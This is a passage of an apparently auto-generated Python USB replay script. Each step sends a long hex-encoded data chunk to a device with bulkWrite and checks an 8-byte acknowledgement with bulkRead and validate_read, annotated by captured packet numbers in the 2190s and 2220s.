b\"\\xA7\\x62\\x76\\x2A\\xF8\\x7C\\xAA\\x81\\xEB\\x77\\x37\\x47\\x80\\xE7\\x2F\\xBD\"\n b\"\\xEC\\xCE\\x18\\xA4\\x1E\\xA4\\xDE\\xE5\\xE4\\x79\\xB8\\xD5\\xF9\\x6D\\x1B\\xD3\"\n b\"\\xAA\\x18\\xC3\\xE0\\x37\\xB2\\x33\\xDF\\x53\\xED\\x82\\xAD\\x96\\x9F\\x4A\\x00\"\n b\"\\x7C\\x83\\xBA\\x3F\\xCE\\x0B\\x73\\x44\\xD6\\xE6\\x16\\x02\\x31\\xB6\\xFA\\x8D\"\n b\"\\x80\\x50\\x5A\\x65\\x96\\x89\\x6F\\xC1\\x26\\xEA\\x43\\x89\\x8B\\x0A\\x43\\x9A\"\n b\"\\x76\\xA3\\x16\\x60\\x91\\x52\\xAB\\x0A\\x83\\x5B\\x40\\x77\\x43\\x6E\\x7B\\xF3\"\n b\"\\x50\\x1B\\xED\\x3E\\x06\\x34\\x79\\x86\\xAD\\x13\\x08\\xBB\\xE4\\xC5\\xA6\\x5D\"\n b\"\\xF6\\x07\\x92\\xF2\\x7A\\xEC\\x09\\x4B\\x9B\\x2B\\xDC\\xF8\\x02\\x5B\\x7E\\x12\"\n b\"\\xEB\\xC4\\x12\\x4E\\x1D\\xE3\\x0E\\x17\\x28\\xA4\\x96\\x4E\\x98\\xC3\\x61\\x34\"\n b\"\\x1F\\xEE\\x39\\xCA\\xB9\\xE3\\x15\\x44\\x98\\x11\\x42\\x3B\\x5B\\x7F\\xC0\\x8B\"\n b\"\\x35\\x6A\\x77\\x2C\\x12\\x69\\xE8\\xD3\\x92\\x3F\\xB3\\x62\\x4F\\x8C\\x23\\x5A\"\n b\"\\xEE\\xA3\\x1C\\x20\\xD0\\xB6\\xAB\\x37\\x5B\\x30\\x9C\\xC5\\x6E\\x82\\x51\\x79\"\n b\"\\xE5\\xF7\\xBF\\xAE\\x9A\\xA3\\x76\\x18\\x0D\\x94\\xD2\\x13\")\n # Generated from packet 2191/2192\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2191/2192\")\n # Generated from packet 2193/2194\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\xB3\\x06\\xC5\\x0E\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC5\\xD4\\xAF\\x0A\\x73\\x23\\x22\\xE2\"\n b\"\\x01\\xD5\\xFC\\xB8\\x10\\x3B\\x27\\xA4\\xE0\\x3C\\x9B\\x47\\xB0\\x2C\\x8F\\xD2\"\n b\"\\x52\\x49\\x57\\xB0\\xE3\\x7E\\x45\\x58\\x7E\\x0A\\x2A\\xE1\\x95\\xBD\\xCA\\x35\"\n b\"\\x37\\x25\\x59\\xC7\\x16\\x7D\\x8A\\xF5\\x6F\\xAD\\xAA\\xE1\\xC9\\x90\\x67\\x2B\"\n b\"\\x0B\\x95\\x20\\x53\\x1C\\x34\\x97\\x60\\xD7\\xB7\\x15\\x56\\xB5\\xF1\\xF2\\x1C\"\n b\"\\x5E\\x7C\\xEB\\xC2\\xFC\\x02\\x38\\xE9\\x0C\\x6F\\xB4\\xFB\\x2C\\x0D\\x51\\x96\"\n b\"\\x4A\\x79\\x4D\\xF6\\xEB\\xB7\\xDA\\xD7\\xBA\\x06\\x8A\\x3F\\x3C\\x0B\\x89\\x99\"\n b\"\\x16\\xBB\\xE5\\xBA\\x86\\x94\\xE2\\x33\\xC0\\x1A\\xE8\\xCB\\xA3\\x2A\\x2E\\xC8\"\n b\"\\xDF\\xF9\\xB9\\x94\\x6F\\x91\\xF8\\xED\\xD2\\x78\\xCF\\x02\\x1B\\xC0\\x8C\\x7C\"\n b\"\\x85\\x42\\x15\\xB9\\x39\\xA1\\x7A\\x99\\xE7\\xA9\\xE3\\xEE\\x06\\x02\\x05\\x38\"\n b\"\\x96\\xBC\\x10\\xBD\\xFC\\x04\\xF4\\x97\\x51\\x9C\\x85\\x86\\x0D\\x3D\\x5F\\x04\"\n b\"\\xC5\\x7F\\xCB\\x1B\\x8B\\xDA\\x3A\\x7D\\x92\\x7E\\x75\\x92\\xD4\\x5B\\x27\\xF4\"\n b\"\\xE2\\x6E\\xEE\\x6C\\x37\\x2F\\x82\\xAD\\x8B\\x23\\xF2\\x85\\x61\\xA1\\x56\\xB8\"\n b\"\\xA5\\x33\\xE5\\xD2\\x61\\x5D\\xCD\\x02\\x57\\x31\\x6E\\x23\\x32\\xAD\\xAC\\xBB\"\n b\"\\x91\\x51\\xA7\\x0A\\x67\\xE7\\x83\\xFA\\x85\\xE8\\x7C\\x15\\x70\\x6B\\xA9\\x18\"\n b\"\\xB8\\x92\\x5C\\x1B\\x68\\x37\\xEB\\x8C\\x34\\x93\\x98\\x77\\xF1\\xAA\\x59\\x32\"\n b\"\\x53\\xFB\\x93\\xE5\\x59\\xAB\\x14\\xCE\\x0B\\xE3\\xE0\\x1A\")\n # Generated from packet 2195/2196\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2195/2196\")\n # Generated from packet 2197/2198\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\xCE\\x14\\x64\\xAA\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x23\\x5E\\xEC\\x33\\xA1\\x59\\x5C\"\n b\"\\x95\\xB4\\xC9\\xD6\\xA0\\xE2\\x2C\\x84\\x98\\x2A\\x9A\\x3F\\xC1\\xEC\\x8C\\x2A\"\n b\"\\x0F\\x6C\\x45\\xC5\\x42\\xF0\\x99\\x43\\xF1\\x04\\x1B\\x1F\\x73\\xEC\\x79\\x86\"\n b\"\\xCE\\x99\\xC8\\xFB\\x63\\xE5\\x5A\\xFD\\xE9\\x47\\xAC\\x72\\xCD\\x25\\xDA\\xBE\"\n b\"\\x69\\x0B\\xDC\\xF8\\x73\\x3B\\x43\\xD4\\x82\\x2D\\xD1\\x52\\xFA\\x97\\x16\\xD3\"\n b\"\\xD6\\x2E\\x95\\x2E\\x0D\\x6B\\x61\\x6B\\x78\\xDC\\x02\\x6D\\xBD\\xFA\\x77\\xFC\"\n b\"\\x53\\x1E\\x64\\xFE\\x45\\x4C\\x3C\\xBB\\xE0\\xB2\\x2A\\x3C\\xF0\\x40\\x4A\\xAA\"\n b\"\\x3D\\xC6\\x87\\x52\\xC1\\x32\\x08\\xF5\\x96\\x69\\xEF\\x70\\xA3\\xC6\\xC1\\x7E\"\n b\"\\x62\\x58\\xF6\\x7B\\x00\\x5D\\xC6\\x1C\\x5A\\xFF\\xE5\\x82\\x5E\\xC1\\x24\\x84\"\n b\"\\xD1\\x00\\xCA\\xAB\\x1E\\x54\\x0C\\x59\\x05\\x26\\x8A\\x98\\xCD\\xBC\\x72\\xA8\"\n b\"\\x54\\x7B\\x58\\x2F\\x93\\x88\\x6F\\x41\\xC2\\xC5\\x5F\\x64\\x8D\\xC7\\xBB\\x15\"\n b\"\\xDB\\x9D\\xDE\\x49\\x12\\xD7\\xD7\\xDC\\x8C\\x84\\x47\\xBE\\xF5\\x6C\\xCA\\x1A\"\n b\"\\x5A\\xA7\\x5E\\xAA\\x29\\x9A\\x79\\x48\\xBA\\xD6\\x31\\x08\\xAD\\xCB\\x60\\xB4\"\n b\"\\x69\\x47\\xDB\\x6D\\x84\\x3D\\x1A\\x3E\\xE2\\xC4\\xF7\\x62\\xB4\\xF6\\x51\\x33\"\n b\"\\xD7\\x0B\\xA7\\x91\\xF7\\x19\\x78\\x52\\xA9\\x35\\xF3\\x71\\x77\\xF3\\x98\\x7B\"\n b\"\\xA7\\x42\\x33\\xCA\\x8D\\xD3\\x70\\x9E\\xE7\\x6F\\x5F\\x57\\xB7\\x08\\x8D\\xE2\"\n b\"\\x4E\\x92\\x60\\x2D\\x41\\x1D\\xE1\\x51\\x63\\xB3\\x7A\\xEB\")\n # Generated from packet 2199/2200\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2199/2200\")\n # Generated from packet 2201/2202\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC0\\xFE\\xEE\\x20\\xAD\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7E\\x63\\x28\\x07\\xA7\\xE0\\x86\\x91\"\n b\"\\xA6\\xC7\\xA6\\xDD\\xF8\\x90\\x4B\\xBA\\x2D\\x94\\x76\\xAC\\xA5\\x02\\xF9\\x00\"\n b\"\\xFF\\x9E\\xBC\\x86\\x52\\x8B\\x9E\\x27\\xCB\\x5B\\x5B\\x0C\\x0E\\xEA\\x6D\\xB5\"\n b\"\\xAE\\xCC\\x43\\x46\\xC4\\x91\\xAA\\x8C\\x75\\x23\\x2E\\xC4\\x6B\\x6D\\x5E\\x1D\"\n b\"\\x75\\xFC\\xF5\\x33\\x1A\\xCB\\x81\\xF5\\xB1\\xB2\\xFB\\xA7\\x6A\\x0E\\x44\\x7C\"\n b\"\\xC7\\x31\\x64\\x90\\xD6\\xEE\\xED\\xC4\\x3A\\x32\\x0F\\xD3\\xAB\\x57\\xA6\\xB2\"\n b\"\\x98\\xB8\\x49\\x1E\\xF5\\x7A\\xCE\\x9D\\x4E\\x5C\\x8B\\x8A\\x31\\xFD\\xE3\\xD6\"\n b\"\\x9F\\xE9\\xF1\\x17\\x2E\\xAA\\xF3\\x8F\\x46\\xB5\\x99\\x6E\\x89\\x00\\xD7\\xD7\"\n b\"\\x3F\\xE7\\xAD\\x2F\\xF7\\x1C\\x0B\\x66\\x69\\x24\\x51\\x5E\\x22\\x83\\xAE\\xDC\"\n b\"\\xBF\\x70\\xBE\\x0D\\xAD\\xD9\\x1A\\xEA\\xDC\\xA3\\xB6\\x05\\x51\\x5B\\x00\\x60\"\n b\"\\xCB\\x55\\xB4\\xB7\\x47\\x74\\x7C\\x4C\\x3D\\xD3\\x9A\\x17\\xF5\\x26\\xA8\\xDB\"\n b\"\\x0F\\xCF\\xD0\\xC9\\x4A\\x2C\\x81\\x0A\\xD1\\xF3\\x90\\xD1\\xC4\\x20\\x71\\x76\"\n b\"\\xEC\\x09\\x5F\\x0C\\x42\\x95\\x23\\x6D\\xA7\\xC1\\x90\\x5F\\x66\\x85\\x4A\\x5D\"\n b\"\\xE9\\xEA\\x8F\\x22\\xA0\\xA3\\xDC\\x15\\x84\\xC0\\x6F\\x05\\x56\\xBA\\x95\\xB2\"\n b\"\\x2F\\xBB\\x52\\xBD\\xE0\\x3E\\x5C\\x17\\xAA\\x78\\x2E\\xF9\\x20\\x05\\x63\\x39\"\n b\"\\x36\\xDF\\xC3\\xC8\\x28\\x96\\xE8\\x1E\\x7B\\xA9\\x82\\x84\\xE4\\xE4\\xA4\\x08\"\n b\"\\x07\\xBE\\x5A\\xCB\\xFA\\xD9\\x9E\\x4E\\x6E\\x9A\\xC1\\xA6\")\n # Generated from packet 2203/2204\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2203/2204\")\n # Generated from packet 2205/2206\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE3\\x31\\x59\\x23\\xCF\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE5\\x59\\x09\\xF3\\xB7\\x80\\x5D\\x05\"\n b\"\\xC6\\x9A\\xF4\\xFA\\xDD\\x0A\\x88\\x3B\\x1B\\xA6\\xDF\\x56\\x29\\x96\\xAB\\x70\"\n b\"\\x95\\x87\\x3B\\x1A\\x52\\x31\\x86\\xE1\\xA9\\x81\\xC0\\xF0\\x66\\xFB\\x7B\\x99\"\n b\"\\x2F\\xA3\\xA1\\xE6\\x30\\x83\\xBF\\x79\\x31\\xBE\\xD0\\x4B\\x9D\\x64\\xF3\\x16\"\n b\"\\xA6\\x73\\xD7\\x04\\xB0\\x2C\\x12\\x62\\xE5\\x86\\xD7\\xE2\\x65\\xD1\\x80\\xBA\"\n b\"\\xF7\\xBF\\x03\\xFC\\xE4\\x19\\x50\\xEB\\xD0\\x65\\xA2\\x80\\x4B\\xB4\\x04\\xFC\"\n b\"\\x73\\xA1\\x11\\x3D\\x01\\x5C\\x5F\\x7F\\x0D\\x52\\x19\\x8B\\xB0\\x00\\x70\\x7B\"\n b\"\\xA5\\x9E\\x7C\\x5F\\x12\\x99\\xA0\\x4B\\xD9\\x74\\x33\\x48\\x81\\xE0\\xB7\\x80\"\n b\"\\xE4\\xF6\\x9C\\x38\\x1E\\x74\\xE8\\xC6\\xEB\\xDA\\x8A\\x4F\\x0C\\x26\\xB4\\x56\"\n b\"\\xDC\\x23\\x49\\xFE\\xD5\\x65\\x52\\xFA\\xF1\\x38\\x70\\x1A\\xBD\\x4B\\xF5\\x95\"\n b\"\\xC7\\xEF\\xFF\\xD4\\xD2\\x7A\\x5A\\x59\\x87\\x89\\xE3\\x8B\\xEA\\x51\\x6A\\xC6\"\n b\"\\x5A\\xBB\\x74\\xF2\\x65\\xA0\\xFE\\xF6\\xAB\\x1B\\x41\\x05\\xCD\\x73\\x49\\xF8\"\n b\"\\xB5\\xE4\\x82\\x43\\x1F\\x6A\\xA7\\x98\\x80\\x8D\\xE7\\xF2\\x79\\xA4\\xF1\\xDF\"\n b\"\\x49\\x43\\x68\\xA7\\xCF\\x02\\x7A\\x05\\xA9\\xAA\\x77\\x4F\\xF2\\x6C\\x65\\x46\"\n b\"\\x2B\\x6C\\xBE\\x62\\x71\\xD6\\x76\\xAC\\xFF\\xC4\\x40\\x80\\xE3\\x36\\x13\\x10\"\n b\"\\xC2\\xD4\\x4B\\x0F\\x7C\\xC5\\x80\\xB6\\xE9\\xBE\\xC0\\x8A\\x4D\\x0E\\x69\\xA4\"\n b\"\\x25\\xDD\\x77\\x3B\\x80\\xF1\\x4E\\xC6\\x07\\xC7\\xE6\\x93\")\n # Generated from packet 2207/2208\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2207/2208\")\n # Generated from packet 2209/2210\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA2\\xBA\\xA5\\x19\\xD5\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA6\\xBA\\x09\\xF3\\x8F\\x35\\x5C\\xC3\"\n b\"\\x50\\x65\\xEB\\xB7\\xBE\\x65\\xB1\\x7D\\xD1\\xC8\\xC2\\x5E\\xD9\\x7D\\xC2\\xC0\"\n b\"\\xEB\\x82\\xA0\\x63\\x33\\x5C\\x1F\\xED\\x8D\\x5B\\x09\\x46\\xB0\\x08\\x9E\\x07\"\n b\"\\x7E\\xEE\\x1E\\x10\\x1F\\x40\\x7C\\xEE\\x9E\\x32\\x06\\x83\\xA2\\x87\\x58\\x21\"\n b\"\\xA0\\x42\\xB7\\xBC\\x6C\\x51\\xE3\\xFB\\x7B\\xF3\\xDB\\x42\\xB5\\x6A\\x65\\x72\"\n b\"\\x57\\x66\\x01\\x9E\\x20\\xDC\\x3D\\xE3\\xF9\\x92\\x76\\x28\\x55\\xE9\\x99\\xA7\"\n b\"\\x49\\xD5\\x5D\\xD6\\x76\\xBD\\x30\\x16\\x6E\\x1C\\x18\\xAB\\x10\\xFA\\xA5\\x55\"\n b\"\\xA2\\xC2\\x3A\\x79\\xB6\\xCA\\xA0\\x45\\x1C\\xD6\\x50\\xA0\\xC2\\x23\\xAF\\x06\"\n b\"\\xB7\\x35\\x47\\x8E\\x41\\xD1\\xEC\\xF0\\x96\\x12\\x15\\xF1\\xBE\\x93\\xB4\\x40\"\n b\"\\x64\\x5D\\x0B\\xF6\\x73\\x58\\x5E\\x9C\\xBC\\x08\\x1E\\x99\\x1A\\x22\\x3E\\x80\"\n b\"\\xE4\\x8C\\xA6\\x2C\\xC4\\xD3\\x2A\\x90\\x99\\xEE\\x9D\\xF3\\x99\\xF3\\xA6\\x05\"\n b\"\\x97\\x03\\x61\\x7A\\x7D\\x52\\x26\\xF6\\x69\\x35\\x91\\x87\\x5C\\xB6\\xF1\\xB1\"\n b\"\\xA8\\x09\\x9E\\x80\\x89\\x59\\xE5\\x90\\x2E\\xB0\\xEF\\x3B\\x2A\\xD2\\x91\\x5C\"\n b\"\\xEF\\x7E\\x60\\x4C\\x8A\\xB2\\x1C\\x06\\x5E\\xC1\\xAB\\xF9\\x02\\x50\\x01\\x66\"\n b\"\\xBD\\x91\\x07\\x6A\\x32\\x9F\\x7D\\x46\\x45\\x94\\x79\\xD1\\xD6\\x83\\x1E\\x36\"\n b\"\\x3C\\x3B\\xFF\\x1E\\xE0\\x1C\\x60\\xC7\\x1D\\xFB\\x99\\x2D\\x4C\\xEE\\x8D\\x53\"\n b\"\\x9B\\x04\\x64\\x3A\\x3E\\x3E\\xE3\\xE6\\x08\\xFF\\x9D\\xAD\")\n # Generated from packet 2211/2212\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2211/2212\")\n # Generated from packet 2213/2214\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x04\\x62\\x15\\x37\\xB0\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\x5D\\xDB\\xD6\\x51\\x67\\xDE\\xF7\"\n b\"\\x11\\x0B\\x3C\\xAE\\x70\\x2D\\x91\\x5B\\x93\\xD1\\xBA\\xE3\\x9A\\x69\\x2A\\x4A\"\n b\"\\x62\\xE3\\x3E\\xD6\\xAE\\x11\\xB9\\x94\\xB2\\x92\\xAD\\xA1\\xC9\\x78\\x04\\xFF\"\n b\"\\x0E\\x88\\x28\\x4B\\x14\\x9F\\x71\\x39\\xA1\\x4B\\x6F\\xF0\\xF5\\x9E\\x47\\xF3\"\n b\"\\x81\\x64\\x23\\x00\\x10\\xAD\\x1B\\x37\\xD8\\x53\\x24\\x6B\\x25\\xA1\\xF5\\x66\"\n b\"\\x28\\x73\\x8F\\xF4\\x10\\xFE\\x39\\xFB\\x2B\\xC2\\x3C\\x68\\x3B\\xB8\\xEA\\x62\"\n b\"\\x18\\xEF\\x64\\x48\\xD5\\x28\\x6C\\x94\\x8A\\xF8\\x81\\x52\\x85\\xC9\\x26\\x6D\"\n b\"\\x87\\x7D\\xB8\\x0B\\xB4\\x85\\x11\\xBA\\x80\\x99\\x13\\x7C\\x85\\x2E\\x1E\\x11\"\n b\"\\x63\\x78\\x2A\\xBF\\x70\\xFF\\x39\\x7F\\xF0\\x6F\\x37\\x4B\\x3A\\x60\\xC7\\x33\"\n b\"\\x99\\x9A\\x53\\xFC\\xD9\\x78\\xA0\\x07\\x49\\x58\\x0D\\xBD\\x91\\xEE\\x97\\x64\"\n b\"\\x02\\xE0\\xF7\\x42\\x27\\x24\\x3C\\xD0\\x64\\x02\\x38\\xE7\\xB5\\x5B\\xD0\\x73\"\n b\"\\x7E\\x81\\x6E\\xEF\\x7A\\x10\\x16\\x31\\x71\\x56\\x27\\xCE\\x46\\x5A\\x55\\xD5\"\n b\"\\xCE\\x73\\x0F\\x77\\xF3\\x02\\x13\\x49\\x32\\x04\\x92\\x07\\x9C\\x77\\xB9\\xAB\"\n b\"\\x62\\x5C\\x9C\\xC7\\x0D\\xAC\\x22\\x5C\\x29\\xC4\\x77\\x20\\xF5\\xD0\\xC6\\x00\"\n b\"\\x79\\x8B\\x05\\xB9\\x1C\\xE0\\xD8\\x53\\x76\\xAB\\x16\\x1D\\xDE\\xB2\\x98\\xE9\"\n b\"\\x02\\xD9\\x0D\\xEE\\x67\\x06\\x64\\x3C\\x7B\\xAA\\x42\\x3F\\x87\\x9C\\xE1\\x01\"\n b\"\\x07\\xE0\\xAD\\x86\\xB8\\x36\\x19\\x38\\xBB\\x82\\xB9\\xDC\")\n # Generated from packet 2215/2216\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2215/2216\")\n # Generated from packet 2217/2218\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x67\\x15\\x48\\x68\\xCA\\x65\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\xC0\\x16\\x18\\xD1\\x0E\\xC3\\xB4\"\n b\"\\x19\\xA8\\x9D\\xB9\\xC6\\x78\\x49\\x6A\\x59\\x6F\\x58\\x78\\xE7\\x50\\x9B\\xBB\"\n b\"\\x24\\x1A\\x60\\x05\\x4D\\x07\\xC4\\x41\\x86\\xB1\\xC7\\xC6\\xB7\\xF7\\xB3\\x6C\"\n b\"\\x8E\\x00\\x15\\x4F\\x4A\\xF2\\x75\\xAE\\xCE\\xE8\\xA4\\x18\\x0B\\x87\\xEE\\x8F\"\n b\"\\x29\\xC5\\xBD\\x05\\x35\\xDD\\x55\\x3F\\x66\\x57\\x51\\x4B\\xBD\\xC4\\x11\\xB8\"\n b\"\\xAE\\x1C\\x51\\x5B\\xA6\\xCA\\x34\\xE2\\x2E\\xC2\\x04\\xBF\\xD3\\xE3\\xFD\\x6C\"\n b\"\\x20\\x5A\\x59\\x46\\x24\\x3A\\x2C\\x23\\x0F\\x54\\x97\\xD6\\x3F\\xF5\\xC9\\xB9\"\n b\"\\x72\\x80\\x3A\\x3D\\x1B\\x78\\xD0\\xAF\\x0D\\xDC\\xC7\\x4B\\xE4\\x29\\xEB\\xB7\"\n b\"\\xC3\\x4B\\x71\\x4E\\xB5\\x89\\x84\\xFF\\xD8\\x2C\\x06\\x8C\\x7D\\x6E\\x64\\x33\"\n b\"\\xCB\\x25\\x8D\\x32\\x3E\\x71\\xC3\\xAC\\x23\\x82\\x75\\xCF\\x7B\\x21\\x1F\\x4A\"\n b\"\\xBA\\xB0\\xB0\\x05\\x39\\x07\\xA9\\xEC\\x29\\x4A\\x8D\\x5A\\x38\\x2A\\x8A\\xDD\"\n b\"\\x88\\x42\\xD9\\xC0\\x0E\\xD2\\xD8\\xC0\\x38\\x57\\xC7\\xDD\\x86\\xC8\\xA4\\x73\"\n b\"\\xC5\\x5C\\x22\\xC6\\x83\\x3B\\x69\\x41\\x9B\\x5E\\x5F\\x07\\x14\\x91\\xD5\\x40\"\n b\"\\x64\\xC2\\x65\\x0D\\x7B\\xAA\\xAC\\x9F\\x55\\xD8\\xF6\\x0B\\x06\\xB9\\x66\\x00\"\n b\"\\x71\\x8F\\x3A\\x87\\x95\\xEF\\x91\\xA4\\x54\\xFB\\x1F\\xD6\\x24\\x30\\x65\\x70\"\n b\"\\x01\\xF7\\xE5\\xAA\\x74\\x60\\x99\\x9C\\x56\\x86\\xD2\\x09\\xFE\\x52\\x90\\x4E\"\n b\"\\xDD\\x39\\xF7\\xBC\\x06\\xCC\\x88\\x0A\\xC2\\x26\\x1B\\x55\")\n # Generated from packet 2219/2220\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2219/2220\")\n # Generated from packet 2221/2222\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\xE2\\x74\\xDB\\x27\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDF\\xD4\\x28\\x2B\\x08\\xED\\x0B\\xF5\"\n b\"\\x00\\x3B\\xAF\\x76\\x46\\xE6\\x99\\x05\\x65\\xA4\\x27\\x86\\xE4\\x4C\\x01\\xE9\"\n b\"\\xF4\\x96\\x4F\\xA3\\xC7\\xA7\\xB0\\xA1\\xD7\\x0C\\x4D\\x3C\\x6F\\x7A\\x7E\\x95\"\n b\"\\xA1\\xFF\\xE7\\xF9\\x47\\x65\\x79\\xC2\\x73\\x7D\\xD7\\x51\\x3C\\xDE\\x19\\x4F\"\n b\"\\xCE\\xFE\\x1C\\xA0\\xAE\\xB4\\x4B\\x35\\x4E\\x3D\\xDF\\x77\\x94\\x06\\x45\\x18\"\n b\"\\x9A\\x25\\x27\\xA9\\x88\\x23\\x59\\xA1\\x9C\\xD6\\x46\\x92\\xBA\\xA7\\xF7\\xD8\"\n b\"\\x41\\xDD\\xB4\\x07\\x74\\x77\\xA0\\xF4\\xB6\\x8E\\x1A\\x16\\xBE\\xD1\\xF5\\x2A\"\n b\"\\x3F\\xF2\\x92\\xEF\\xE2\\xFC\\x2E\\x04\\x42\\xF7\\xFB\\xF0\\x79\\x44\\x66\\xC9\"\n b\"\\x12\\xB3\\xD7\\xEF\\x18\\x9D\\x06\\x67\\xD4\\xE7\\xB9\\x90\\xFE\\x5E\\x98\\x6F\"\n b\"\\x98\\x6F\\x6B\\x77\\x9A\\xE8\\x49\\x68\\x96\\xF3\\x76\\x8A\\xD1\\x0F\\xE3\\x45\"\n b\"\\xF7\\x0C\\x2E\\xD3\\xDB\\x1B\\x18\\x36\\x53\\xDC\\xE8\\xBD\\x6E\\x39\\xD7\\x7E\"\n b\"\\xC9\\x5D\\x6E\\x66\\x91\\x10\\x7F\\xA0\\x33\\x7E\\x1B\\x25\\xC5\\xC1\\x04\\xDB\"\n b\"\\x55\\x08\\x40\\x08\\x99\\x2D\\x7E\\x77\\x5F\\xD4\\x84\\x37\\x39\\x91\\x7A\\x94\"\n b\"\\x75\\x45\\x7B\\xAC\\xEF\\xF0\\x66\\x0C\\xB7\\xBC\\x62\\xA6\\x80\\x9B\\x91\\x52\"\n b\"\\x6B\\x2F\\x20\\xCD\\x24\\x1F\\x98\\xFF\\xF6\\x73\\x01\\xB2\\xD2\\xE6\\xD8\\xBB\"\n b\"\\x78\\xD3\\xFE\\xEA\\x03\\x7F\\x16\\xA0\\x82\\x5C\\x19\\x33\\x14\\x70\\xD3\\x1A\"\n b\"\\x7C\\xD2\\x04\\x68\\xD9\\x40\\x19\\xE4\\xF6\\x50\\xD6\\x83\")\n # Generated from packet 2223/2224\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2223/2224\")\n # Generated from packet 2225/2226\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x23\\x5C\\x0F\\xE9\\xFF\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xDF\\x82\\xC3\\x1F\\x48\\x14\\xE2\"\n b\"\\xAA\\xEC\\x69\\x79\\xDD\\xC9\\x45\\xC0\\xF4\\xC9\\x6C\\xD5\\x2B\\x4F\\xA1\\x77\"\n b\"\\x79\\xF2\\xA5\\x94\\xA0\\x4F\\xE8\\x3D\\x0B\\x26\\x39\\xF5\\xFD\\xE5\\x95\\xEB\"\n b\"\\x00\\x6E\\xEF\\x05\\x9A\\x6B\\x3C\\x89\\x7B\\x96\\x02\\x11\\x76\\xB6\\xC6\\xD4\"\n b\"\\x0C\\x3E\\xDA\\xCA\\xF5\\xF5\\x90\\x4F\\x9C\\xDD\\x62\\x5D\\x01\\xE1\\x0A\\x0B\"\n b\"\\x72\\xEA\\xDA\\x27\\x77\\xA7\\xB2\\xEC\\x1C\\xCB\\x7A\\xEF\\x09\\xDD\\x84\\xD5\"\n b\"\\x3A\\xA7\\x22\\xAC\\xEF\\x22\\x07\\x67\\x6C\\xD4\\x7C\\x77\\x0C\\xD8\\x43\\x9C\"\n b\"\\x18\\x4C\\x43\\xDF\\x67\\xD0\\x63\\x18\\xB9\\xD9\\xC0\\x10\\x90\\x27\\xE0\\xEA\"\n b\"\\xEA\\xCD\\xE1\\x37\\x90\\xFE\\x34\\x3E\\x84\\xF7\\xDD\\x44\\xB6\\x5F\\x2C\\x37\"\n b\"\\x42\\x4F\\xD5\\xBE\\x35\\x30\\xD2\\x05\\x17\\x7D\\xA3\\x07\\x2F\\x19\\xB1\\xB7\"\n b\"\\x00\\x75\\x8F\\x8A\\xF6\\x8E\\xE3\\x9F\\x85\\x5E\\xB3\\x66\\x2A\\xCB\\x58\\x77\"\n b\"\\xCF\\xDA\\x1F\\x06\\xFD\\xFB\\xD6\\x83\\xD5\\x18\\xF1\\x3F\\x7D\\x5C\\x19\\x99\"\n b\"\\x75\\x31\\x79\\xD7\\xED\\x80\\x80\\xE8\\x14\\xF8\\x13\\x13\\x2E\\xDB\\x91\\xC4\"\n b\"\\x37\\x2B\\x20\\x54\\x88\\x58\\xEC\\x3C\\x1B\\x47\\xD2\\x3C\\xA6\\x19\\x18\\x90\"\n b\"\\x16\\x13\\x7F\\x05\\xBF\\x89\\x1E\\xDF\\xF7\\xAD\\xE2\\x2F\\x3B\\xA6\\x93\\x45\"\n b\"\\x3D\\xBF\\x4D\\xFE\\xE1\\xCB\\x63\\x6E\\xC0\\xDD\\x64\\x15\\x74\\xAF\\x50\\xC5\"\n b\"\\xF9\\xDC\\x0E\\xD3\\xBD\\xB6\\x7B\\xA1\\xC8\\xCB\\xAA\\x46\")\n # Generated from packet 2227/2228\n buff = bulkRead(0x81, 0x0200)\n 